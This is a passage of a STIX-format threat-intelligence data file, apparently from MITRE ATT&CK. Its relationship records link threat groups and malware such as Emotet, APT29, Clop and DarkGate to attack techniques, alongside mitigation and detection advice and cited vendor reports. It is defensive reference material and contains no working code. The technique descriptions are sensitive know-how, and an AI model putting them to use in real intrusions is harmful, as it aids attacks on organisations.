actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7a270029-2292-42c3-86da-3381c5ca0178","created":"2022-06-24T14:56:09.362Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) can use `cmd.exe` for execution.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T14:56:09.362Z","relationship_type":"uses","source_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a28c0d9-28cf-4881-b8a5-8d779eb76e0d","created":"2019-03-26T17:48:52.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"emotet_hc3_nov2023","description":"Office of Information Security, Health Sector Cybersecurity Coordination Center. (2023, November 16). Emotet Malware: The Enduring and Persistent Threat to the Health Sector. Retrieved June 19, 2024.","url":"https://www.hhs.gov/sites/default/files/emotet-the-enduring-and-persistent-threat-to-the-hph-tlpclear.pdf"},{"source_name":"US-CERT Emotet Jul 2018","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T14:19:41.600Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has maintained persistence through a scheduled task, e.g. though a .dll file in the Registry.(Citation: US-CERT Emotet Jul 2018)(Citation: emotet_hc3_nov2023)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a2f70b7-7b6e-4c05-8f71-42a494b055ce","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.618Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) sent emails to victims with malicious Microsoft Office documents attached.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Alienvault Sykipot DOD Smart Cards","description":"Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards"}],"modified":"2020-03-16T17:50:28.610Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) contains keylogging functionality to steal passwords.(Citation: Alienvault Sykipot DOD Smart Cards)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a3426bf-1751-43db-b844-6bf388a4c817","type":"relationship","created":"2019-06-14T17:21:38.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-20T23:03:00.677Z","description":"Ensure that local administrator accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a35d985-17ae-429a-b828-08d34e92002f","type":"relationship","created":"2020-01-31T18:59:01.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T18:59:01.162Z","relationship_type":"revoked-by","source_ref":"attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a38509d-5468-4b8f-831e-a4233a36a845","created":"2021-06-15T14:11:27.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T20:04:58.700Z","description":"(Citation: CrowdStrike Wizard Spider October 2020)(Citation: Mandiant FIN12 Oct 2021)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a3963b8-3ffd-41a9-bd03-57cba4f03882","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"}],"modified":"2019-09-09T17:44:36.173Z","description":"(Citation: Palo Alto Sofacy 06-2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a3a5c4a-ced7-4697-aca1-de90d3b9440f","created":"2024-09-16T09:22:10.359Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:22:10.359Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used stolen code signing certificates to sign [DUSTTRAP](https://attack.mitre.org/software/S1159) malware and components.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7a3df632-4f1f-44e2-b72a-b3922d9d4fe0","created":"2022-04-28T16:03:59.117Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity.","modified":"2022-04-28T16:03:59.117Z","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a402933-faba-4de0-a7a5-3b44761cc062","created":"2022-07-14T17:35:13.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:17:41.795Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has modified the `:Zone.Identifier` in the ADS area to zero.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a406ef1-45bd-43c6-9c6d-b72ae161f36d","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor newly constructed files that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a41dd37-a5a0-4469-9ed9-74eb8ac57af3","type":"relationship","created":"2020-12-01T14:03:12.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:03:12.620Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can send C2 communications with XOR encryption.(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a453aab-789d-4fd5-9360-37c3f88ee3c6","type":"relationship","created":"2021-05-31T16:31:47.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T17:54:11.645Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has a command to list files on a system.(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a4db44b-6747-4d9a-9436-6a64d755a8d2","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for changes made to files that may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a4e646f-17a6-449e-a1fe-2a7784acd884","created":"2024-02-12T21:16:49.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T14:50:30.800Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) creates a local user account, SafeMode, via net user commands.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7a4ed5e2-6a96-4faf-b647-2372490cfcb2","created":"2022-08-24T15:05:05.939Z","x_mitre_version":"0.1","external_references":[{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) has the ability to base64 encode C2 server responses.(Citation: Proofpoint Bumblebee April 2022)","modified":"2022-08-24T15:05:05.939Z","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a51cf35-ac6e-4954-8864-8aa48a4bebbf","created":"2022-01-07T16:33:31.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.680Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has acquired dynamic DNS services for use in the targeting of intended victims.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a58b25f-1736-48c6-90e1-70c49896ed4b","created":"2022-09-28T13:30:53.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T19:41:51.571Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has edited the `Microsoft.IdentityServer.Servicehost.exe.config` file to load a malicious DLL into the AD FS process, thereby enabling persistent access to any service federated with AD FS for a user with a specified User Principal Name.(Citation: MagicWeb)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a5b9104-1fa8-4c55-9e03-f2faa3d2a6f7","type":"relationship","created":"2020-02-21T15:58:20.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T20:41:09.193Z","description":"Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7a5c8052-723b-47e1-943f-0731b9177730","created":"2022-02-02T16:36:53.678Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can create new Azure AD users.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:20:37.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a6460fa-dd4b-43ba-a59f-8c0db794151d","created":"2024-10-03T18:37:35.637Z","revoked":false,"external_references":[{"source_name":"Unit42 BendyBear Feb 2021","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021.","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-03T18:37:35.637Z","description":"BendyBear changes its runtime footprint during code execution to evade signature-based defenses.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a64941e-c585-4ded-b0d7-2d7f3d71eaa8","type":"relationship","created":"2021-07-30T21:03:08.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}],"modified":"2021-10-14T20:22:46.968Z","description":"[Clop](https://attack.mitre.org/software/S0611) has checked the keyboard language using the GetKeyboardLayout() function to avoid installation on Russian-language or other Commonwealth of Independent States-language machines; it will also check the GetTextCharset function.(Citation: Mcafee Clop Aug 2019) ","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a64af0b-aebe-47d1-9f96-ef0ecad52df9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.431Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with malicious attachments, including .rtf, .doc, and .xls files.(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a66c52c-2ff1-4242-90d0-95a4b47181c2","type":"relationship","created":"2020-11-13T21:28:40.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:41.269Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can hook APIs, kill processes, break file system paths, and change ACLs to prevent security tools from running.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a6a6b83-5a81-4844-96c1-bdd74c047d50","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may deface systems internal to an organization in an attempt to intimidate or mislead users. ","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a6c1581-a077-4c8f-8111-3264fa9e1e9c","type":"relationship","created":"2020-06-25T18:41:35.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2020-06-25T18:41:35.117Z","description":"[WindTail](https://attack.mitre.org/software/S0466) can identify and add files that possess specific file extensions to an array for archiving.(Citation: objective-see windtail2 jan 2019)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a6ed4b1-4f41-4db0-89bf-439e77022da5","type":"relationship","created":"2021-09-29T00:30:23.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-29T00:30:23.826Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has used the GetAdaptersInfo() API call to get the victim's MAC address.(Citation: Checkpoint IndigoZebra July 